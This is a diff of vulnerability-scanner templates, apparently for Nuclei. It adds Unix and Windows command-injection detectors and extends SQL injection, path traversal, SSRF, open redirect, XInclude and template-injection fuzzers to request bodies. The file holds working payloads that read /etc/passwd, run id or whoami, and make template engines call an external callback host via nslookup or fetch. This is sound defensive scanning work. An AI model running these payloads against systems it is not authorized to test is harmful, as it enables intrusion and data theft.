csv_fuzz:
- "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
@@ -28,7 +29,9 @@ http:
- '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -47,4 +50,4 @@ http:
- "text/csv"
- "application/csv"
- "application/vnd.ms-excel"
# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022047de9a9ade28a139a37de842b237ae72a42ccfed58a24a2166c1191da3ca847d022100a321d8f99e99bba547fcc6cdb6db36a15392eeceaf24cb7f7a4f72478899ded5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,81 @@
id: unix-command-injection
info:
name: Unix Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential Unix/Linux OS command injection by replacing query parameter values with shell separator payloads and identifying successful command execution through command output patterns or response time delays. Payloads included semicolons, pipes, logical AND operators, backticks, command substitution, and newline injection.
impact: |
Successful exploitation allows arbitrary command execution on the underlying operating system, leading to full server compromise, data exfiltration, lateral movement, and denial of service.
remediation: |
Never pass user-controlled input directly to shell commands. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 15
tags: cmdi,dast,rce,unix,linux,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# shell separators with id
- ";id"
- "|id"
- "&&id"
- "`id`"
- "$(id)"
# file read
- ";cat /etc/passwd"
- "|cat /etc/passwd"
- "$(cat /etc/passwd)"
# newline injection
- "%0aid"
- "%0acat+/etc/passwd"
# time-based
- ";sleep 5"
- "|sleep 5"
- "&&sleep 5"
- "$(sleep 5)"
- "`sleep 5`"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: id-output
part: body
regex:
- 'uid=\d+\([^)]+\)\s+gid=\d+'
- type: regex
name: etc-passwd
part: body
regex:
- 'root:.*:0:0:'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4a0a00473045022100aaf8abfa73f46e605b0bac69b67368f62a6178fc4bb7f5979592dbb8e6edcefc02201ee998c07753af257794d98725fd3fe4fce9f6280770ae5a9bbb52f19fbcc23a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,94 @@
id: windows-command-injection
info:
name: Windows Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential OS command injection on Windows targets by replacing query parameter values with command separator payloads and identifying successful command execution through output patterns from `dir`, `whoami`, `systeminfo`, or response time delays induced via `ping`.
impact: |
Successful exploitation allows arbitrary command execution on the underlying Windows system, leading to full server compromise, data exfiltration, privilege escalation, and denial of service.
remediation: |
Never pass user-controlled input directly to cmd.exe or PowerShell. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 14
tags: cmdi,dast,rce,windows,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# dir output
- "|dir"
- "&dir"
- "&&dir"
- "||dir"
- "|dir C:\\"
- "&&dir C:\\"
# identity
- "|whoami"
- "&&whoami"
# system enumeration
- "|systeminfo"
- "&&systeminfo"
- "|ipconfig"
- "&&ipconfig"
# time-based
- "&ping -n 5 127.0.0.1&"
- "&&ping -n 5 127.0.0.1&&"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: dir-output
part: body
regex:
- '(?mi)Directory of [A-Z]:\\\\'
- '(?mi)Volume in drive [A-Z]'
- type: regex
name: systeminfo-output
part: body
regex:
- '(?mi)^OS Name:\s+'
- '(?mi)^Host Name:\s+'
- type: regex
name: ipconfig-output
part: body
regex:
- '(?mi)Windows IP Configuration'
- type: regex
name: whoami-output
part: body
regex:
- '(?mi)^[a-z][-a-z0-9]*\\\\[a-z][-a-z0-9]*$'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4b0a00483046022100be5c540b1ed2ddf5d5cd3c6b4beec3d046833f77b6a37ebf25d26259ddacd9b6022100ad9b2b4618589ef59eae4f0de6793fe8a59b1f67db65cdf31cf2a631465a3d91:922c64590222798bb761d5b6d8e72950
@@ -15,14 +15,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
xinc_fuzz:
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -42,4 +45,4 @@ http:
part: body
words:
- 'for 16-bit app support'
# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022061c5b5f12d480ab581420090fe679f16eff360c4d8845959a335ff3bf53df93b022100e4fb9eff907afb896e7ae4d885535da03bae294cc6f4825c39c824fd4bf2e8fe:922c64590222798bb761d5b6d8e72950
+9 -4
View File
@@ -25,7 +25,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
pathtraversal:
- '{{fuzz}}etc/passwd'
@@ -55,7 +56,9 @@ http:
- '../../WEB-INF/web.xml'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- cat
@@ -91,7 +94,9 @@ http:
fuzz:
- "{{pathtraversal}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
@@ -120,4 +125,4 @@ http:
part: body
regex:
- '(<system.webServer[\s\S]+<\/system.webServer>)'
# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100b917be210562f0d09609a7c90cff98a2e93db64f5c6efae6e3c934d0cd6f611902205d5ac63faddba6eac5cbf4a36887f1727ea7752005af4ea6332e2c61a0fb4f9f:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -16,7 +16,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
nix_fuzz:
low:
@@ -71,7 +72,9 @@ http:
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -83,4 +86,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502205415e5cbcd5beb10a05da90cc4fe6352df7ef1b866512c8661eae4e3b964b9b90221008bf95c6e0d36601cf6508c54c4750f33d6e1e9e848228b31d64ebc350fac1176:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
win_fuzz:
low:
@@ -59,7 +60,9 @@ http:
- '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -74,4 +77,4 @@ http:
- "fonts"
- "extensions"
condition: and
# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210097c98ed16a07390cbb9ee8d16d7c77a132078dc42da5287f5ddbc33a517ac9e1022100a61552b4945ba285260c57b7f92533334bc51f18527462bc29ae76e8fd2c72ae:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
redirect:
- "{{Hostname}}.oast.me"
@@ -123,7 +124,9 @@ http:
- '%00/oast.me/'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- AuthState
@@ -265,7 +268,9 @@ http:
fuzz:
- "{{redirect}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -285,4 +290,4 @@ http:
- 301
- 302
- 307
# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100c1c842975b79e69dd34cb16e60db37aca091680acecc0f0d97f67178e7913977022100a1fb4830db8fb610c73b9e71c5b72e629baf6d5ea3ae289dc3c51cd715103700:922c64590222798bb761d5b6d8e72950
@@ -13,13 +13,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
redirect:
- "oast.me"
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- AuthState
@@ -161,7 +164,9 @@ http:
fuzz:
- "https://{{redirect}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -181,4 +186,4 @@ http:
- 301
- 302
- 307
# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220099586c444f668b4e6020d6a808c246ee5ac3e294705488d1ba5acdd6508bb10022004dc9a31bd11257b46b2a49fc035d89f22af5f2de3916a2f8e2cff33ed7c16d6:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -15,13 +15,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
rfi:
- "https://rfi.nessus.org/rfi.txt"
fuzzing:
- part: query
- parts:
- query
- body
mode: single
fuzz:
- "{{rfi}}"
@@ -32,4 +35,4 @@ http:
part: body # Confirms the PHP was executed
words:
- "NessusCodeExecTest"
# digest: 4b0a004830460221008b6ae75bff51d0f717fa022b5a9f6f75ac545b873262f391be1b844bddb24d67022100f8b9d9ccf60276b6eb0ab6d0bda976c53f8218b73f2b78012d8c15daae36b43a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d03b34ddb92c7cc852ec8d999015824213a2fe89bc2e0951c49aeae8096dd7bf0220469acd53bb9cb2b76df527e98b29ec1ab9266612c0832a928b8aa1b367c52388:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,9 @@ http:
- type: dsl
dsl:
- 'method != "OPTIONS"'
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "'"
@@ -494,4 +496,4 @@ http:
- "SQ200: No table "
- "Virtuoso S0002 Error"
- "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
# digest: 4a0a00473045022100b3102693f70190b12ccb6f15140a61b65dd91c218b1e3ea99ea59e75ad8f03170220211591503e0603405ab968f481fb3f615c7c3deb8f5849ac281640b5011fcb30:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203b78ac14e95e093aefc54c75fa3c45dac4ca8d53321cb0ef0acb4a192b20bc5b022073b5756321b1068422407dc89f903b3bb28338eea1fd337787159d281cf918a6:922c64590222798bb761d5b6d8e72950
@@ -112,7 +112,9 @@ http:
- "or pg_SLEEP(7)#"
fuzzing:
- part: query
- parts:
- query
- body
type: replace
mode: single
fuzz:
@@ -124,4 +126,4 @@ http:
- type: dsl
dsl:
- "duration>=7 && duration <=16"
# digest: 4b0a00483046022100f81a7af56429232ba4c582bc7ec7a8f6259d3220126dce0bf15189a7cc0a4a30022100b39ba449c1f3d3230700db35466858af68993bd8c9630b50225a77e5e2ca8b6e:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100bfed06e7dc466f7fcbd30f111c3e8d6f51333119fc7ab2ee3098f07c0b3ba361022100a1c93fc8f12b43c350e504df844df0fcc1769b10787302411d396c8ae1b77e02:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
ssrf:
- "{{interactsh-url}}"
@@ -23,7 +24,9 @@ http:
- "{{RDN}}@{{interactsh-url}}"
fuzzing:
- part: query
- parts:
- query
- body
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -37,4 +40,4 @@ http:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a0046304402204f5689b30c3f94560c914b824916630f62b30706ea13dac96132350cf11edcdb022057a1c782332e4a02cff196012cb4b88cf0492cebb61afbc7064646f14f6bfcb1:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100b644f92ed9d04ee20672ae22173c1967871e2101001f713aea7cbeabec3cd3fd0221008defa379d533d6d01f273767f59c0adc1cae76f5cf6c0a376b137dcbcd226e46:922c64590222798bb761d5b6d8e72950
+9 -4
View File
@@ -15,7 +15,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
ssrf:
- 'http://{{interactsh-url}}'
@@ -36,7 +37,9 @@ http:
- 'dict://127.0.0.1:6379/info'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- callback
@@ -72,7 +75,9 @@ http:
fuzz:
- "{{ssrf}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "(https|http|file)(%3A%2F%2F|://)(.*?)"
@@ -132,4 +137,4 @@ http:
part: body
regex:
- 'id[\s\S]+interfaces\/'
# digest: 490a00463044022006af276ebf6a418b1bcf9f916236906c2eb958611639ee3f9e885872aedc5ee102201dd3a6cb133d0920b1e98ae20027fe57c348a763b189a5b38ba57edb242d09e4:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204b55b88881395115ce6ea6f288a4f3057f24fa3960272b2b44de0d62f1d81b67022002e37a5632b3861ddab6fcb0c4e57f15be028fddb01e142b24fda2f39405d7a0:922c64590222798bb761d5b6d8e72950
@@ -17,13 +17,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "<#assign%20classloader=article.class.protectionDomain.classLoader><#assign%20owc=classloader.loadClass(%22freemarker.template.ObjectWrapper%22)><#assign%20dwf=owc.getField(%22DEFAULT_WRAPPER%22).get(null)><#assign%20ec=classloader.loadClass(%22freemarker.template.utility.Execute%22)>${dwf.newInstance(ec,null)(%22id%22)}"
fuzzing:
- part: query
- parts:
- query
- body
type: replace
mode: single
fuzz:
@@ -34,4 +37,4 @@ http:
part: body
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a00473045022100ac8c10f30a5cdc7e823e21020c162e3905bb3224dc545e42d0af472fe3b9cc3802204b4d959cdab058adf6963fdb8f84eeb01e420b56b927cd2f3a6b9041ec60a4cd:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e529f042303de7a5b33b08969b1cb6aacab4a89e725204f7271958c3c0e81e8102200914fa91d3deb89a05f540d02eed714884a2b3384194df269ba4510d62546fb9:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -16,7 +16,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- '%7B%7Bsystem%28%27nslookup%20-type=SRV%20{{interactsh-url}}%27%29%7D%7D%0A'
@@ -24,7 +25,9 @@ http:
skip-variables-check: true
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -37,4 +40,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a0047304502200fbe63bd2f1255654c93ddedae62499fdfcb8ac4496041cc3da3caca97b1bc00022100bcce8a6791c82c2c40fbf9f614484ca12b3bd7c002f373534fd3085a6d5de7d2:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c5a761683f3540c47ee4eb834824f049f3ffc25e8c143a8b080d27710381169c0220421dba2b9745749113448bd9d6670eccc2cd83832c58a70babd54bc86159d999:922c64590222798bb761d5b6d8e72950
@@ -19,13 +19,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "{{exec('import+os')}}{{exec('os.system(\"nslookup+-type=SRV+{{interactsh-url}}\")')}}"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -40,4 +43,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4b0a00483046022100a92ae4fac72f544f364bda53a299b0c8ec0f100e7214207ec18cdac184fd8883022100c6ee6753b6c703415440b9f56c5b2bba10498fac41d10dfafa28c0dd1757104d:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e23b3dc1c87488306c2a6219ef7237f7e5c925b910901db5ef6f6114124d4cb6022100b614c0bbdd924bb74ab7aa252d7a8b5292befe98a4ed5a0e17785a2019525e5c:922c64590222798bb761d5b6d8e72950
@@ -16,13 +16,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "<%3fpython+import+os%3f><%3fpython+os.system('nslookup+-type=SRV+{{interactsh-url}}')%3f>"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -37,4 +40,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4b0a00483046022100a1a7d16120a0aed4f61ba57617da6c6ca6819d11af22d3f4a97d0ea6c55b3072022100c0d6fd6e33b1aaf824fa03be2a49de9d53c1a38e0c4d75cc3fea70ed686de139:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220150fa952132870a9890d48ec0b20bfacdb16e26d76c65f6166f578fbbd12a1210221008f614b0bdc96068b9df58b28acce62189bb514f09acae99b20cdb3c354f6e7f6:922c64590222798bb761d5b6d8e72950
@@ -15,13 +15,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "-%20var%20x%3Droot.process%20-%20x%3Dx.mainModule.require%20-%20x%3Dx(%27child_process%27)%20%3D%20x.exec(%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27)"
fuzzing:
- part: query
- parts:
- query
- body
type: replace
mode: single
fuzz:
@@ -34,4 +37,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4b0a00483046022100e27481698d8336750623b7e91390c3541b578fdb99427935d92321df6e9fd034022100c44a2d500e417f78f771fa416450b2d0913c24d23ac7ad010ca4288fed3ca20b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202c1588b38f2c68d4d5cd904ae99bbb46b422bf30f71d52e41f0d682e46fdb5d2022100c2aaece713acd609f82f2c478d64d81b3d2d5baa183523e0a021dc01658075dc:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -19,7 +19,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- '%7B%7B%3Dfunction%28%29%7B%0A%20%20fetch%28%22http%3A%2F%2F{{interactsh-url}}%22%2C%20%7B%0A%20%20%20%20headers%3A%20%7B%0A%20%20%20%20%20%20%22{{prefix}}%22%3A%20%22application%2Fjson%22%0A%20%20%20%20%7D%0A%20%20%7D%29%0A%7D%28%29%7D%7D'
@@ -27,7 +28,9 @@ http:
skip-variables-check: true
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -40,4 +43,4 @@ http:
- "contains(interactsh_protocol,'http')"
- "contains(to_lower(interactsh_request), to_lower(prefix))"
condition: and
# digest: 4a0a00473045022012c929da780d21185b177dd5e1717c366c2a688b271f19d23aeca721075a5cb6022100f3cfe854cbb64d10a90efdcc23eec9cabb573d6e7ab600ca50620784b2ecf3ec:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022075ccdbb736002226c80fbe31b2a247c2d9dcf7680b7b26d6a32dd5f18612c5bc022100d4100c961df569df205297f33106cd64de6fef92ea07a8e3b260718917b20a66:922c64590222798bb761d5b6d8e72950
@@ -20,13 +20,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- '%3C%25%3Dfunction%28%29%7Bfetch%28%22http%3A%2F%2F{{interactsh-url}}%22%2C%20%7B%0A%20%20headers%3A%20%7B%0A%20%20%20%20%22{{prefix}}%22%3A%20%22application%2Fjson%22%0A%20%20%7D%0A%7D%29%7D%28%29%25%3E'
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -39,4 +42,4 @@ http:
- "contains(interactsh_protocol,'http')"
- "contains(to_lower(interactsh_request), to_lower(prefix))"
condition: and
# digest: 4a0a00473045022100a775f3363de455c0b45e75fa98cb5999f4351b2120128297e47b448e1238af2202202a6eebf4e6407cbea04c85ccafe8da054a3a6bc10b54de2644442111b3653ed4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e093ab1073ec2c5a642bd318498b3d115517b774bf37d07266b3f7b9941dbb91022100ac5ea7d28c517e8ed33b8744e727a5f29eacc0d6eb5ff4f28b261026b845be19:922c64590222798bb761d5b6d8e72950
@@ -17,13 +17,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- '<%25%3d(`nslookup+-type=SRV+{{interactsh-url}}`)%25>'
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -36,4 +39,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a004730450220339e6129262efd8b705181d9c5b9da8b6ac52e70c0b3815bf3f1672bfcff4d07022100be49c15c59d1241bdb873f973f0cebea10b3f7049327cdb3c051c99f2b8034ad:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202ce9b6d241b8a7a7b5597d75981dc406bf9eab452c6c3cd1604b7b22eed531a0022100a2a670b68822b46fe873f44696ef5d7ed0434a548a2663d6222085a43324ec58:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "%3c%23assign%20rce%3d%22freemarker.template.utility.Execute%22%3fnew()%3e%20%0d%0a%24%7b%20rce(%22nslookup%20-type=SRV%20{{interactsh-url}}%22)%20%7d"
@@ -28,7 +29,9 @@ http:
- "[=%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)]"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -41,4 +44,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a0047304502202b533c2fc497cb5f4aea5ee153daddc845b4842f7d720cce22180dbed1d863930221009f66d4268153e923175756d1f615947f9da0febc97d2d1ebfdba84b6d3644866:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206c15047883e7d8fbf5247e9e271fd5d7304c27a6554542b6b47e575d6518edef022100f4168a1a4b8548e99becd2158f39139c777bad76a2f24b662f58d46c72fe4d73:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- '%24%7Brce%3D%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22%3Brce.execute%28%29.text%7D'
@@ -30,7 +31,9 @@ http:
- "%24%7B%20new%20groovy.lang.GroovyClassLoader().parseClass(%22%40groovy.transform.ASTTest(value%3D%7Bassert%20java.lang.Runtime.getRuntime().exec(%5C%22nslookup%20-type%3DSRV%20{{interactsh-url}}%5C%22)%7D)def%20x%22)%20%7D"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -43,4 +46,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a00473045022010b5e98da5cf7fe997be5d2ff2c4ad39b4037db9e3bcb6f50ee46cf83a2b66ea022100f8ecec2f82d7be36f4d593c9fef154ba66463d6024353dc1e2ec6f4b25741e92:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203c45fd69918df3c793c28a28974da920c7bb18401a626066ffb85f7cc90094c1022010ed8148ebd72028668366addcb1f2e7852c9304710459b6d94895941a0e565d:922c64590222798bb761d5b6d8e72950
@@ -16,14 +16,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup+-type=SRV+{{interactsh-url}}').read()}}"
- "{{ cycler.__init__.__globals__.os.popen('nslookup+-type=SRV+{{interactsh-url}}').read() }}"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -38,4 +41,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a00473045022100e4455c7a4339740d674b6f59246f0a36069d2d3609cf3ee0ee4b4cc32a714c1402207190c306e14b6418adbaa991defce48c765a58b66d4cf0ace79524bb647006f5:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210086b40c0058e674b6dc11ee0466e3df28503d18dfbd9137dc157b5861f6e97b7302210082eadd2e6ece7e9fdb9de9179f4c8fd342aaaf426882b7028ac46f511c5d62bd:922c64590222798bb761d5b6d8e72950
Loaded 100 of 4274 files, more files were not shown because too many files have changed in this diff. Show more